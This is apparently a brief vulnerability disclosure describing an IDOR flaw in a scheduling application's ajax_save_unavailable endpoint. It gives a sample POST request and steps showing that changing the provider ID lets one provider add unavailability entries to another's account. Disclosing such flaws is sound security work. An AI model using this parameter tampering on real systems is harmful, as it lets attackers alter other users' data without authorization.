IDOR can make attackers add or close others' unavaiable

both user1 and user2 are Providers

1 user1 login and add unavaiable

2 request can be like

POST /index.php/backend_api/ajax_save_unavailable HTTP/1.1
.....
csrfToken=d0a4805b08a205bfd5cf112137b21585&unavailable=%7B%22start_datetime%22%3A%222023-06-07+01%3A45%22%2C%22end_datetime%22%3A%222023-06-07+02%3A45%22%2C%22notes%22%3A%22%22%2C%22id_users_provider%22%3A%229%22%7D

3 id_users_provider%22%3A%229%22%7D means id_users_provideer=9

4 we change the id as 10, i…e user2

5 send the request, then we find that user2 owns an unavailable